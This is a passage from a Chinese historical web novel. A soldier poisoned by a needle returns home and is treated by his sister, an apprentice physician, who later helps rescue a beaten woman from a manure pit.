“老朽只知些土方子,先随我回去敷一些草药吧。”
两人随老人家回了家,那老人见受伤位置已是发黑,便用刀燎了一下火,划开发黑处,硬挤出了些血,再取出一个药丸碾碎了混了些雪水敷在中毒处。
片刻后一位老头带了一位看起来七八岁的男孩走了进来,跪在春木面前:“将军,你也看见了。我们这就剩下我们这些老头了,都不知道还能不能活过这个冬天。壮年郎都被抓壮丁了,年轻姑娘都被掳走了。这些存粮也不知道能躲过几回匪寇。既然战争停了就把我这孙儿带走吧,当个伙夫马夫都行,给口饭活着就行。”
春木一时语噎,望向郝将军,郝将军思考片刻扶起老人:“老人家先起吧,我将他带走。保证他有口饭吃。”
老人连忙笑着说:“二丫,快给恩人磕头。”
那小孩听着老人的话正要向郝将军和春木磕头,被春木一把拉了起来说道:“好男儿不可轻易跪下。”
那小孩便点了点头。
春木和郝将军将那小孩带回了军营,后来事务繁多,一直到第二年春天,雪化了个干净才回去这个村落看了一眼,那里只剩了一片烧焦的木头。
郝将军带着二丫去找了父亲说要将二丫留下。
“父亲,今年冬天如此寒冷,又还有匪寇作乱,送他回去是万万不行的。”
郝风威看了看自己女儿又看了一眼二丫,见二丫还算长得机灵叹了一口气问道:“几岁了?叫什么名字?
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”
“十二岁,魏二丫”
郝风威皱了皱眉头,看向魏二丫,这实在是不像个十二的少年,比七八岁的还要生的矮小。叹了一口气:“这名字像个丫头,今天起你就叫魏定了。王师北定中原日的定。”
“谢过郝大将军。”
郝将军向郝风威道了谢,拉着魏定正要走。
“站住,你今日怎么和许夫长出营去了,听说许夫长还受了伤,这是怎么回事?”
“今日我与许夫长见东南方向有异样,便想过去查探一番,没想到是一伙匪寇在打家劫舍。见他们可怜便动手了。他们武力本不敌我们,确没想那人使暗器,没注意被伤了。”
“胡闹,你先将魏定安排好,在去看看许夫长情况。”
“是。”
春木回到军营找了军医,军医将毒针仔细查看又仔细嗅了一番,发觉上面有马钱子。心中大惊,忙给春木把脉:“许夫长,针上这毒应该是牵机。”
“牵机是何毒药?”
“这是一种剧毒,但原料产至南方,这北方应该没有才对。今日你们所遇到的应该不是一般的匪寇。你到目前为止还没有什么异样,一方面不是口服,一方面应该是及时处理了。我先给你施针,让毒素就在手臂处,不再继续扩散。”
春木心中一惊,怎得如此夸张,镇定片刻看向军医问道:“那是否可医?”
军医叹了口气:“这并未备南方毒草的解药,现在这时节送来已经来不及了。至少是能保住你的命,你的手就看造化了。”
军医给春木开了个清毒解热的方子,派人去煮药。又开始为他施针。施针之时,郝将军正好来寻春木,春木见郝将军进来,忙别过头。
郝将军见此哈哈大笑说道:“上次见你在战场下来,包扎之前身上就剩个三村布了吧。你这漏个胳膊害羞什么?”
春木没有搭话,心中想这几年刀枪伤不少受,今日怎要被一根针给打趴下了。
郝将军见春木不搭话,心中一慌便望向军医:“他这伤应该不碍事吧。”
军医看向郝将军,叹了一口气:“难说。”
“什么叫难说?需要什么药材,我这就让父亲去送来。”
春木叹了口气拉住郝将军说:“不要给你父亲添麻烦了,看军医的吧。今日你我已经是违纪了。所幸战事已定,可免责罚。目前大雪,药物送来也来不及。”
郝将军感觉春木的手格外的烫,便用手背探了一下春木的额头,也是十分滚烫:“军医,他怎么如此烫?”
军医皱了皱眉头:“郝将军可否有空取些雪来,让许夫长用布巾裹了敷于额头。”
说完,军医将许夫长扶于一旁床边躺下,郝将军打了盆雪进来,军医将雪用毛巾裹了放于许夫长额前。
郝将军见此心中郁闷又问:“那老人给他用的药丸无用吗?”
军医回道:“也非没用,是一些金银花甘草为主,辅用一些清热解毒的药草罢了,延缓了发作。”
过了一刻钟后军医看向郝将军:“我需要用雪给许夫长擦拭降温,郝将军先回去休息吧,明日再来。”
郝将军听了这话,便告辞了。第二日早便来了军医帐篷,见春木精神抖擞才放下了心。
一晃数日过去,到了过年。来年有大半将士都可回家,军营里大多数人都非常高兴。唯有春木忧心忡忡,他虽是伤情好了,但右手感觉力道大不如前,而且还在逐渐变差,去问军医,军医也说不出个所以然。
14. 喜度年关迎新春
今天除夕,军营里宰了好些鸡鸭羊和酒,让大伙一起一起痛快痛快。许春木随意找了个火堆一起吃肉。旁边一人给他递了一个羊腿:“许夫长,你先请。”
许春木摇了摇头,倒了一碗酒:“你吃吧,我先喝酒。”
时而有人唱歌,不过都是些啊哥啊妹的,觉得也是没啥趣味,不过也有一伙人在一起跳起了家乡的舞。许春木看着他们也是笑了一笑。
“他娘的,这仗打到现在也是憋屈。”
许春木寻声往说话的人看去,原是百夫长张铁手。那人是个莽夫,上阵骁勇,但没啥脑子。
他旁的人听他这么说话,心中也是紧张,你说大话就算了,可莫要连累老子。他旁的那人连忙是捂着他的嘴:“小声些,莫让他人听见了,你打仗这么多年,就不想你老娘怎么样了?”
听他这么说,那莽夫才消停下来,叹了一口气继续喝酒。那一旁的人见此才是松了一口气。隔壁的几个兄弟听了他这话,虽是害怕,但又觉得说的也正如他们心中所想。所以也上前向他敬了几碗酒。
过了片刻,郝元帅请许春木去军营中详谈。
郝元帅正在写些什么,见许春木进了将军大帐,便停笔站了起来。打量了许春木一番,摸样也算俊俏,也有把子好武义,虽年少狂了几分,但也是个好苗子,经事多了也就成长了。
郝大将军点了点头,看向许春木问道:“可未婚娶?有无婚约?”
“回将军,并未婚娶,也无婚约在身。”
郝大将军摸了摸自己的胡子,笑了一笑又说道:“不知许夫长对小女印象如何啊?”
“郝将军人中龙凤,非我能品评的。”
郝大将军见此应该是套不出话了,便直接问道:“那你可愿与我小女结秦晋之好?”
许春木一时间觉得头晕目眩,本以为自己所想是痴人说梦,可现在确。。。许春木握了握右手拳头,还是感觉毫无气力。问过了军医,也说无药可救。今日若是答应了,来日若真成了废人,岂不是坑害郝将军一辈子,不答应心中又有几分不甘。
“将军请收回成命,郝将军实非我可高攀的。”
郝大将军听许春木如此回答,心中一气怒道:“怎得我女儿入不了许夫长的眼么?”
许春木忙向郝大将军行礼说道:“非也,是许春木心知配不上郝将军。我只愿今后得几亩薄田,做个乡野村夫,无登高拜爵的想法。”
郝大将军将手一甩背身过去,怒气冲冲的说道:“是我今日看错人了,出去吧。”
许春木向郝大将军行了礼后,走了回去喝酒。一旁人问道:“郝大将军请你过去,不是封了个大官吧,以后吃香喝辣莫要忘了兄弟。”
许春木摆了摆手,没有回话,这下觉得酒也无味了起来,吞了几口肉又觉得心中不畅快,便回了营帐。
郝大将军见许春木走了,便将藏于帘子后得郝将军唤了出来:“女儿啊,这并非我不成全了,你也听见了,另择良婿吧。”
郝将军点了点头:“爹,女儿知道了,你放心吧。”回了父亲的话,郝将军心中已有答案,出了将军大帐,便去寻找许春木,半天寻不到。猜想应该是回了营帐。
郝将军悄悄的将魏定喊到一边,蹲下后,捏着魏定的肩膀说道:“我需要你帮我一个忙,你可愿意?”
魏定坚定的点了点头,郝将军笑了一笑说:“你去将许夫长从营帐中骗出来。”
听了郝将军的话,魏定点了点头,直接向营帐跑去,一路跑到许春木面前,气踹嘘嘘又带有焦急的语气说道:“郝将军喝酒和人比武伤了腿,留了好多血。”
许春木本就心不在焉,这一下更是慌了神,急忙跑出营帐。
郝将军见许春木跑出营帐急忙喝了一句:“站住!”
许春木心中一颤,回头望去,见郝将军段着两碗酒,一碗朝他递来。郝将军一身银甲立于帐前,一时不知是月照人还是人照月。
垆边人似月,皓腕凝霜雪。
他一时楞了神,不知道该是如何是接还是不接。
郝将军见他如此呆愣的样子,一下笑出了声,而后将那碗酒送到了许春木面前,拿那酒碗敲了敲他的盔甲前的护胸。
许春木听着盔甲与酒碗敲击的响声才是回了神,双手接过酒碗。
郝将军望着他笑道:“许夫长,我倒是让我多心慌了一番,还以为你这下酒都拿不起了。”
许春木好不容易定下的心又慌张了起来,问道:“你已知道了?”
“祸是我们一起闯的,你的伤算我们一人一半。”
许春木苦涩的笑了笑:“这本是我一时逞能,如今这也是我活该。幸亏当日没有连累了你,不然莫说这手臂了,就是这条命,也是不该留的了。”
“我说的一人一半,不是空话,今日你再思考一番,我可以在去求我父亲。”
许春木望着郝将军说道:“不必如此,我知你的抱负。我今生应是无缘了,但你若再在军中觅得一良婿,未来再有动乱必有你立功之机。”
郝将军叹了一口气说道:“若是你,你如何选?”
许春木望向明月,又低了低头再看向郝将军说道:“如果是我,宁为马革裹尸。”
“好一个宁为马革裹尸。干杯。”
许春木望着郝将军笑着点了点头,向郝将军举杯碰了一下。
不同于许春木在军营中的新年过得心中郁闷,秋水到是过得非常舒畅。
秋水爹到绣坊接了秋水回家。秋水刚回家,就和哥哥在那打闹。
“多大两个人了,还要吵闹。快些来吃饭了。”秋水娘笑着呵斥着秋水和许春林,边说边端着菜。
秋水爹也在一旁搭话道:“再过两三月,大哥也回来了,不知要吵成什么样呢。”说完又哈哈大笑两声。
许春林心中欢喜,盼着哥哥回家。秋水倒是没有感觉,大致是已经忘记了自己还有一个大哥了。当时哥哥走的时候秋水还小,正是没有记忆的时候,后来的印象也只是一些信件罢了。
开饭后,秋水爹娘哥哥都给了秋水一个大红包,秋水乐滋滋的笑着。
秋水娘见她如此快乐,心中也是舒畅了不少。向秋水问道:“今年你都不在家,没做件新衣裳,等过了年做几件新衣裳吧?”
秋水听此摇了摇头:“新衣裳就不必了,也不常穿,倒是我们药堂的师兄有个背包,我很是喜欢,不如照着着它的样子给我做个包吧”
秋水娘点了点头,心想也是,不知道是个什么样式的包,便问道:“是个什么花样的包,等会吃了饭我来看看。”
吃了饭,
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秋水娘将东西收拾了一番,便让秋水形容包的样子。秋水说了半天,秋水娘也未能理解,许春林便将听着秋水描述的一边画,修修改改好几张终于成了样子。
秋水娘接过一看皱了皱眉头。
秋水见此忙介绍道:“整体外面是布做的,外面分了两层是可区分放东西。大包内里还缝制了一层皮质包可以防水放怕水的物品。左侧挂着的寿桃样式的是香囊,不过娘,我想要这个改成糖葫芦的。可以吗?”
秋水娘面露难色,但又看了一眼秋水恳求的样子便答应了下来。
第二日,秋水一家去往楚宅拜年。秋水爹娘到了楚宅。
茯苓早早的在门口候着了说道:“许大叔,许大娘。这么早就来拜年了。”
秋水娘递给茯苓一个红包,和一些糕点说道:“这些是特意给你带的。”
茯苓和秋水娘推脱半天,最后茯苓还是不敌秋水娘,接过了这些东西:“那我就收下了,我先去将这些东西放置,就不送你们进去了。”
秋水娘笑了笑说道:“快去忙你的吧。”
秋水一家到了内院,向楚知求和金娘子拜了年,楚知求和金娘子都给了秋水一个大红包。聊了一会儿,便让人将秋水带去找楚云照玩,听说是去找云照哥哥,秋水乐呵呵的跟着走了。
到云照住处,云照正读者书,见秋水来。笑了笑将书放了回去,又去抽屉中翻找一番,递给了秋水一个红包。
秋水笑了笑:“谢谢云照哥哥,这个给你。”秋水接过云照的红包,又要将自己之前拿的红包递给云照。
云照看秋水这动作,被惊了一下,又觉得好笑。将她递过来的手推了回去说道:“只有年纪小拿年纪大的,没有年纪大拿年纪小的。”
秋水就懵懂的说道:“那好吧。”又将红包收了回来。
云照带着秋水玩了一会儿,正好遇见得宝一家也来拜年。楚知求便吧得宝也送来与他们一起玩耍。
云照见又来了个小孩,讪讪的笑着。心中想着舅舅着实不太厚道,难怪还给自己准备了两个红包。于是又将剩下的红包递于了得宝。
得宝笑嘻嘻的说:“谢谢云照哥哥。”
云照见她们有两人便问道:“你们觉得无趣吗?会下棋吗?我可去拿围棋给你们玩耍。”
秋水和得宝都摇了摇头。
云照便又问道:“那你们想要些什么。”
秋水说:“都不用,云照哥哥你看你的书吧,我和得宝自己玩就好了。”
云照点了点头,秋水和得宝两人走至炉架旁,端了两把小椅子,就开始说着话。云照不知为什么见此场景有些熟悉,活脱脱两个缩小版的舅妈和田娘子。
秋水和得宝说话太过奶声奶气,云照听不真切,只听见得宝问:“会不会等会多多和忍冬都来了。”
不过直到得宝秋水被父母带了回去,都未曾见到多多和忍冬过来。
忍冬昨日里是在楚宅吃了年饭后,被孙管家带回绣坊的,今日也就不再过来了。多儿昨日和父母闹了变扭,冒着大雪就回了绣坊。孙管家见多儿快成了个雪人,忙给她烧了热水洗澡,又煮了几碗热姜茶。
本想着是不是要带着多儿过来拜个年,但又怕着凉,早上派人给金娘子通了个信,就没来了。得宝和秋水这便等了个空。
15. 阖家团圆喜事连
秋水和安师兄走在去药堂的路上,见街上喜气洋洋,好些人都在聊着这次的胜仗,盼望着能有个长时间的太平。
路过一家烧饼铺子,一位顾客打趣着老板娘:“张大娘,今天怎打扮的如此鲜亮。”
旁边另外一位顾客接话道:“你还多嘴问这一句,没看见这满街打了胜仗的告示吗。是家里的好郎君要回来了吧。”
老板娘故做嗔怒的样子对先前一位顾客说:“要你多舌,当心撕了你的嘴。”
安师兄感觉对街上这喜气洋洋的气氛甚是不悦,听见旁人的这番话到是走的更加快了些。秋水便也加快脚步向安师兄而去。心想自己的哥哥是不是也是这几日就要回来了。
到了药堂,安师兄抬头一望楞了片刻,秋水随着他的目光看去,济安堂的牌匾上挂着一朵大红花。走入后院还挂上了。院中放了一把红木雕花宝座,宝座后高挂五副人像画,依次猜测应当是黄帝、保生大帝、孙思邈、华佗和扁鹊。
李松师兄正在指挥崔师兄挂对联,上联写“衣钵相传,承前启后”,下联写“教学相长,继往开来”。
秋水心中疑惑,这是拜师礼吗?我入门时候怎么没有这些。便向李松行礼问道:“松师兄,你们在做些什么?”
李松回过头来,望向秋水回礼道:“小师妹呀,今日有位贵人拜师,所以在此布置呢。”
秋水又问道:“我之前为何没有?”
李松笑着说道:“你的师兄们之前也都没有,只有他有。”
秋水更发疑惑:“这是为何?”
李松从腰上布袋掏出一个木雕葫芦串递予秋水:“这是前几日才找人造的葫芦串,用作拜师信物,等会我再给给其他师兄都分发一下。你先拿了这东西,我再慢慢与你说。”
秋水接过葫芦串,仔细看了一下,是由五个葫芦串联而成,其中葫芦与葫芦之间串联的藤蔓是由褐色棉绳编制而成。
秋水又继续向松师兄问道:“今日这位师弟,为何如此大费周章呢?”
李松笑着说道:“这师弟的父亲是大理马家的,不知道听谁说的中原拜师不仅礼仪极其繁琐,而且只有真正拜师了的公告了的弟子才会倾囊相授。这位马官人就非得见识一下中原拜师,师父这才没办法,便布置了这些哄哄这位马官人。”
秋水听此感觉甚是惊讶,继续问道:“那为何会收一位来自大理的徒弟呢?。”
“那是因为这位马官人送了许多大理独有的药材与毒药供师父研究,又捐了一笔银子,但提出了个要求说要师父收位他带来的徒弟。”
“那必然是极其稀有的药材,不知师兄可告知一些?”
“听说有见血封喉树、红贝竹竿草、断肠草、乌头、还有大名鼎鼎的毒药牵机和一些五颜六色的菌干。”
秋水听得眼睛都发亮了,想要去观摩一番。
李松见她如此痴迷笑了笑继续说道:“你可不要瞎想,你学艺不到五年,师父是不会让你碰这些的。”
秋水听到这话,感觉被一瓢冷水浇了个透心凉,闷闷不乐的叹了一口气。心想要是现在就能看看那些药材就好了。
李松见秋水失落忙安慰道:“你要是药理,药物用量掌握的快,也会让你早日接触的。”
秋水听松师兄如此说,便点了点头,心中暗暗发誓说自己一定要早日可以接触这些。
过了半个时辰后,师父和新师弟还有马官人都来到了济安堂后院。李松师兄各位师兄弟们在两边排好了位置。
师父坐于宝座之上,师弟的父亲马官人站于师父之左。新师弟看起来不过十一二岁,那人将一贴文递与师父,又向师父行了揖礼。
缓缓念道:“弟子马凌云久慕师父医术精湛,医德高尚,承蒙允纳门下。学习师德与技艺,严实之风,技能之长。精遵教诲,勤勉学习,坚持不懈,全力以赴。绝不负师父厚望,立争大者为栋梁。”
师父点了点头:“好徒儿。”
而后李松师兄端上一杯茶,新师弟取过,递与师父:“师父喝茶。”
师父接过后,喝了一口后皱了皱眉头撇了一眼松师兄,松师兄将头又低下了几分。师父回头望向新师弟时脸上又面带笑意得将《黄帝内经》与之前秋水一样的一串葫芦递予了新师弟:“饮了荔枣茶,祝好徒儿早日励志。赠你葫芦,愿你我师徒一并悬壶济世,解天下苍生之疾苦”
新师弟接过师父的赠礼说道:“谢师父,徒儿定不辜负师父教导。”
李松见此领众人说道:“恭贺马师弟入门。”
师父笑笑道:“各位徒儿各自回去做自己的事吧。”
众人齐声说道:“是,师父。”
秋水看了一眼新师弟,便跟着松师兄走入了厨房。松师兄见秋水跟了过来便问道:“小师妹,有何疑惑啊?”
秋水笑了笑说道:“我想尝尝这个茶。”
松师兄心中暗喜而表面不动声色的说道:“本不该给你喝了,但你又是小师妹,我当师兄的也不好拒绝。壶中还剩下一些,我去倒予你吧。”
松师兄将剩下的茶水倒给了秋水,秋水尝了一口说道:“呸!又苦又涩还有股奇怪的甜味。甜枣和荔枝壳的粉末冲泡的?”
松师兄哈哈大笑:“不愧是小师妹。”
秋水嘟囔着说道:“我还以为有荔枝呢,原来是荔枝壳。”
松师兄笑着说:“快回去磨药吧,记不清药材炒制步骤,师父可要罚你了。”
秋水听松师兄说这话,忙跑去磨药。待到申时,秋水二哥春林来到了药坊,与师父说了半刻钟后又走了,一个时辰后,又回来了。
春林走至秋水面前说道:“我已与楚医师和金娘子告了假了,你现在随我回去吧,明日你再来药堂。”
秋水看了眼师父,师父朝他点了点头,秋水便随着春林回了家。
秋水娘在做着饭菜,刚走入院中,就见大哥的房中已经点上了灯。应该是大哥回来了吧,秋水如此想着。秋水的脚步走的逐渐变慢,院门到堂屋的距离好似比从药堂回家还要长。
秋水娘炒着菜,见秋水一言不发的向屋中走去,心中也纳闷,今日怎人都不喊直接进屋了。莫非是见哥哥回来了,人也糊涂了。
开饭时,秋水爹娘给大哥夹着菜,秋水见此心中郁闷。秋水心中对这位大哥只剩下个及其模糊的影子,看见大哥也只感觉和二哥好像,只是比二哥高一些,壮一些,黑一些。
大哥春木见秋水楞楞的望着自己,心中也是一酸。还未参军之时,这位小妹当时才刚学会走路不久,只会咿咿呀呀的说着话,还天天拉着自己。现在怕是完全不记得自己了。
春木便给秋水夹了块肉,问道:“小妹妹还记得我吗?”
秋水看着那肉,又抬头看了看大哥,不知觉的眼泪就啪嗒啪嗒的掉了下来。春木心中一慌,忙过去想要抱着秋水,可秋水见春木一过来又朝一旁躲开了。春林见此,便上前给秋水摸着眼泪,秋水娘也哭了起来。这氛围渲染的秋水爹和春林也红了眼眶。
秋水爹安慰着秋水娘,略带哭腔的说道:“都回来了,大好的日子哭什么呢?”
秋水娘点点头,擦了擦眼泪说:“是啊,都回来了,还哭什么呢。”
春木心中也是感慨万千,但军营的长久生活,已经让他能够很好的管控情绪,春木便直直的坐着,等着秋水她们调整好情绪。
秋水哭了个半刻钟,哭了个彻底才停歇。刚刚只是晃了一眼,感觉大哥的手有些不对劲。右手好似比左手要细一些。这不符合练武又当兵打仗这么多年的常态。想要发问确又不敢,只是盯着。
春木见秋水看着自己的右手,也有一些心虚。爹娘来信有说小妹在大荣第一名医处学医,可也不过几月,应该不至于如此精进吧。他便试探的问道:“小妹,一直盯着我作甚。”
秋水想要问春木的手是不是有些问题,可又见爹娘如此状态,又担心他们听了会过于担心。支支吾吾半天,未说出句全呼的话。
二哥春林见此笑道:“她呀学医的热度正盛呢,见人就想给人扎针或是要开药呢。肯定是老毛病犯了,但是你又刚回来,又不好意思说是不是。”
秋水听春林如此说,便想着借坡下驴说道:“是,大哥你可让我扎针吗?”
春木笑了笑点头答应了。
春林笑了笑说:“还是大哥胆大,我也去观摩观摩。”
吃过了饭,春木春林秋水便一起去了春木的房间,让春木给秋水练手。
秋水娘本也想凑热闹,但被秋水爹拦下来说道:“他们兄妹几个好些年不见了,你让他们先熟络熟络,我们就不要前去打扰了。”
秋水娘觉得秋水爹说的有理,便也打消了这个念头。
秋水让春木将双手的袖子都撸上去。春木迟疑片刻,心想应该是瞒不住了,没想到这个小妹才刚学医,眼神就如此凌厉了。
春木将双手的衣物都撸到肩膀处,秋水一看,果真如她所想。大哥的右手整体比左手小上两圈,左手还是肌肉饱满皮质紧实的状态,右手手臂处,竟有一些赘皮耷拉着。
饶是没有学医的春林也发现了不对劲。他红了眼眶,压低着声音问道
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:“大哥,你这手?”
春木苦笑了一下,原想能瞒住几时,便瞒几时,没想到这第一天就被发现了。只得无奈的说:“中毒了,无药可医。”
秋水不可置信的问道:“你可知道是什么毒?”
春木叹了一口气:“牵机。”
秋水心中一喜,这不是绝世良机吗?是说得来全不费工夫,还是黄天不负有心人。她如此想了一番,又觉得心有惭愧,是不是今日自己许了那个愿望,才导致大哥受这个苦。
春木见秋水一下由喜转悲,心中又多几分疑惑问道:“小妹可有方可治。”
“我师父可治牵机,明日你与我一同去济安堂吧。”
春木看向秋水高兴的问道:“真的吗?”
秋水点了点头:“我师父可是大荣第一名医。而且你手现在是不是酸痛无力,”
春木点了点头,秋水又说道:“我虽不能解牵机,但我知你现在是痿症,我可以施针让你不适感减少一些。”
春木心想自己都如此了,还有何可以顾虑的,便答应了。
秋水将大哥的曲池,合谷,尺泽三处施针,又熏以解热的药物。一刻钟后,春木果然感觉舒适大半,手上那股酥麻无力之感散了去。
第二日秋水与大哥二哥同去了济安堂,等了一个多时辰才等到师父。等师父以来,秋水就忙拉着大哥去了师父面前:“求师父救我大哥。”
楚知求甚是疑惑,问清来由后,便给春木把脉又问了问饮食情况。而后用针扎其小指挤出血液和中毒处也扎出血液检查了一番后望向秋水说道:“明日起你将《皇帝内径》再抄写三遍,限你三年。”
楚知求心想,秋水字画都不错,能多留几个样本才好。而且秋水这娃娃虽聪明但心思实在不够沉稳需要敲打一番。
秋水听着不经啊了一声,到现在秋水也才抄写了半卷。这又要抄写三卷怎如何得了啊?
楚知求瞪了秋水一眼说道:“其一,你只听见牵机之毒,便说救不了。今后是遇见了不知名的毒你都不救吗?其二,你知其毒药,不去考虑其药到底是何毒性,有何状态,你直接就说不可救了,那有一日一人吃了巴豆,肚子绞痛,但说自己吃的牵机,你也要Xzcp说救不了了吗?其三,你不依症状开药治疗,只听患者述说而求治疗方法,倘若一日患者说的是假的,你当如何?你说你该不改罚?”
秋水听见师父这三问,羞的不敢抬头,眼泪在眼睛中打着转。春木春林想要安慰,可又觉得严师出高徒,楚医师这番教诲确实没有什么不对,只在一旁看着干心疼。
楚知求过了片刻,见秋水情绪稍微缓和了问道:“你可还想救你大哥?”
秋水抹了抹眼泪点了点头。
楚知求便向秋水说道:“你需谨记天下毒物病症之多,今后你在行医,知其毒的情况是少之又少。你需见其症状反查其毒,若查不出来就要根据其症状去治疗。你可明白?”
秋水点了点头,楚知求又让秋水复述一遍,秋水哽咽着复述了一遍。
楚知求见秋水复述的分字不差便继续说道:“你大哥的病我刚看了,是否是牵机之毒未能确定,但确实是有马钱子毒性之症状。遗留毒素使右手有痿症,所幸还未完全伤及筋骨,如今还可治疗。但若需完全医治好,短则三年,长则五年。你可明白?”
秋水和春木都点了点头。
楚知求继续说道:“我等会给你开针灸的法子和辅助的药物,以及每日的注意事项。每日巳时你来药堂,秋水为你扎针,三年后你作为秋水是否合格的考卷。”
秋水一脸惊讶,一时不知道说些什么。
春木问道:“楚医师不是长则五年吗?这样是否不妥?”春木为连累秋水之事甚感惭愧。
楚知求笑了笑说道:“当大哥的怎么对自己的小妹这点信任都没有吗?”
春木观楚医神眼神怪异,恍然大悟。坚定得看向秋水说:“大哥信你。”
秋水点点头,心想一定要治好大哥。
春木又问楚医师:“可否酉时再来,我接了厢军指挥一职,白日里不得空。”
楚医师点点头:“只要保证间隔十二时辰施针一次即可。”
春木今日治疗完毕之后,又觉得自己连累了秋水受罚,心中甚是愧疚,在家询问各方亲友该买些什么东西送予秋水。
秋水回了绣坊,一遍抄写,一边心中委屈又哭了出来。多儿问她怎么回家一趟成了个泪人。秋水将这讲述予多儿听,多儿笑秋水是偷鸡不成蚀把米。又宽慰秋水自己能模仿秋水写字帮秋水抄写一份。
16. 月如银钩光如梭
一晃三年过去了,秋水也通过了考核,终于可以去到药堂前厅了,虽还是不能给人治病,只是做些药方抄写和病情记录的工作,但今日起也可领取月给了。一月一千一百文,算不上多,但秋水平日里也无甚花销,到也不觉得少。
木忍冬、祁多儿、贺得宝三人也通过了绣坊考核。秀艺技巧中忍冬直接晋级成了一等绣娘月给一千文,多儿与得宝则是二等绣娘,月给八百文。
楚云照今年也中了解元。金娘子与楚医师大喜,宴请了药堂的师兄弟们与绣坊几位教习与孙管家。还有楚云照的几位同窗与他的老师一同在天香楼一同吃饭。
饭后除秋水这几位大多人都醉了,第二日安百生师兄来绣坊接秋水去往药堂也晚了半个时辰。安百生甚是懊恼,问过秋水后,便打算抄小道而行。
绣坊与药堂之间也就隔了一座小山,若是正常走管道得要个一个时辰有余。若是翻过那座山,手脚麻利一些半个时辰左右应该也能赶到药堂。可就是那小山上有一沤肥的池子,奇臭无比。
未与秋水结伴之前,安百生到也常走。如今倒是好几年没去过了。
安百生和秋水快要行至那臭池之时,让秋水取出煮了药的方巾,蒙于口鼻。又与秋水说:“等会闻见了臭味,我两就快步跑过。风是往山下吹的,过了那池便闻不见味道了。”
秋水点了点头,不自觉的憋了一口气。
安师兄见此又看着秋水皱了一下眉头:“现在憋气早了些,别闷着自己。”
秋水听安师兄这话也反过神来,吸了一口气后跟着安师兄向前走去。向前走了数十丈,离那池子近了,路边的草都要高些,那些杂草约莫有三四丈高。闻得一股刺鼻的臭味,好似被那臭味给当头一棒,臭得头疼。
秋水本想快步跑过,却又隐约听得人在呼救。便忍着头疼停了下来,向周边望去。安师兄好像没有听见秋水脚步了,便也停了下来回头望着秋水。
“师妹是发现了什么吗?为何不走了。”
“安师兄你听,是不是有人在求救。”
安师兄摇了摇头头,见秋水如此笃定,便也停下和秋水一起等着下一声呼救。果然又传来一声呼救,寻声而去好像在那臭池那边。
安师兄连忙将路边杂草踩开,秋水跟在身后踩着。走至那臭池旁,之间一披头散发的女子抓着池边的杂草,勉强不掉下去。这池子是人工挖的,边缘比较垂直,又做沤肥之用,填的一些污秽之物,又滑又不好借力上来。
幸亏不是夏日,不然这命难保了。
秋水见此,也顾不得脏臭。忙过去抓住那女子的手,想要将其拉上来。安百生着实吃了一惊,没想到小师妹居然如此英勇。安百生未来得及拦下秋水,便也急忙过去,蹲下向后使力,抓住那女子的手,一把将她拉了上来。
安百生惊呼一声:“不好。”
秋水顺安百生眼神望去,肩膀处有一明显伤口。不知身上还有没有,正要开口询问那女子之时,那女子一下昏了过去。应是挣扎了许久了,这下力竭了。
安百生掐了掐那女子的人中处,她睁开了一下眼睛又闭上了。安百生放了一片人参放入那女子嘴里,又让秋水将其衣服都脱去。将自己的外衣脱下递于秋水让其穿在她身上。秋水又取下自己的面巾将那女子的头发包了一包。
安百生将自己的面巾戴在那女子脸上,抱起她就往山下跑。又急忙喊道:“师妹,快跟上。”
秋水连忙跑起来跟上,来到街上,他们身上味道极臭,前面的人闻见他们的味就急忙躲开。倒是前行的畅通无阻。
可见安师兄不是向济安堂而去,心中又甚是疑惑。但又想安师兄是一个古板又细致的人,应到不会有问题,便也一直跟着。
跑了近半个时辰,一直到城外一个小院面前,安师兄大喊:“李杏,快来开门。”
而后出来一个十六岁的长相秀美的小姑娘微微打开门露出半张脸,捂住鼻子,皱着眉头看向安师兄:“安师叔,你这是?”
“你先让开,别弄脏了你,热水还有吗?”
“热水是一直备着的。”
那小姑娘,连忙将门打到最开后,闪到一边。见安师兄和秋水都进来了后,有快步关上门,将耳房的门打开来。
安师兄将那女子抱入西厢房,又取了剪刀将那女子过脖子之后的头发一刀给剪了后,转过来对李杏说道:“快准备些花椒水,和我们三人的衣服。师妹你将自己和这位姑娘洗净,换上衣服。我去屋后湖中先冲洗一番后来熬药。”
“师兄放心。”
“师叔放心。”
秋水将那女子一点点洗净,发现背后长长短短十来道新伤的鞭痕。估计应是有人故意将其抛入臭池之中的。秋水见此叹了一口气。又为其把脉,检查了一番,发觉这女子好似才刚流产不久,却又不敢确定。
待到安师兄回来,秋水将伤情讲于其听,安师兄又进来把了一脉,向秋水点了点头。
安师兄看向秋水问道:“你可有救治方法?”
秋水回答到:“伤口有些已经伤及筋骨,可早晚用黄芪川穹当归在此用锅煮至锅干,隔绝外界病气。伤口已经洗净可用降真香磨碎敷住。若成功长好即可,若不行,则需划开伤口处去其敷肉,洗净脓水,重新上药在让其恢复。每日一服大活血丸,每次一丸,用无灰酒磨化服下。”
安师兄点点头,唤来李杏:“将大活血丸与无灰酒拿于小师妹,你可也唤她小师叔。其余还有她需要的东西。”
李杏向安师兄说道:“两位师叔放心。”
李杏问过秋水需要的物品,又辅助秋水为李杏为那女子敷了药。
安师兄观察了一番,又给那女子把了脉,想应是差不多了便说道:“如此应是没事了,小师妹你与李杏先在这守着,我就先回济安堂报个平安。”
“好,安师兄慢走。”
“安师叔放心”
李杏得了闲,仔细打量起来秋水,年纪虽小,到一看也是个美人胚子,也有几分本领,不愧为小师父常说的好师妹。
秋水看着李杏如此打量的眼神很是疑惑的望向李杏:“杏姐姐,怎么了吗?”
李杏笑了一笑:“早听闻济安堂收了一位机智聪明的女徒,今日一见果真如此,便久看了一些。小师叔莫要在意。”
秋水被夸的有些害羞看着李杏说道:“杏姐姐不是济安堂的徒弟吗?为何不曾见过你。”
“因为我并不是楚医师所收的徒弟,是李松小师父将我救了回来,后来收我为徒。所以我也不常去药堂。”
秋水正想问李松如何救她的,一旁传来那女子的声音:“救命,有人吗?这是哪里?”
秋水与李杏连忙跑去那女子面前,秋水忙说:“你先不要动,你背上伤口才上药。”
李杏继续说道:“这里是松安馆,这位姑娘将你救来此处。”
那人发觉自己背部好疼,头好似轻了不少,摸了摸自己的头,发觉原本自己过膝的头发竟然现在只到脖子,急切的看向秋水:“我的头发呢?”
秋水回道:“莫要惊慌,你头发是沾染了太多脏物,又受了伤,防止伤口粘连所以才剪去了。待你好了,我们有药可助你头发早日长出。”
那人听了放下了心,但又伤心了起来一边啜泣说道:“多亏你们救我。不然我就命丧那臭池了。”
秋水蹲
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下拿出一个手帕给她抹了眼泪:“你慢慢说,不要害怕。你是何人,又为何会被丢在那臭池呢?”
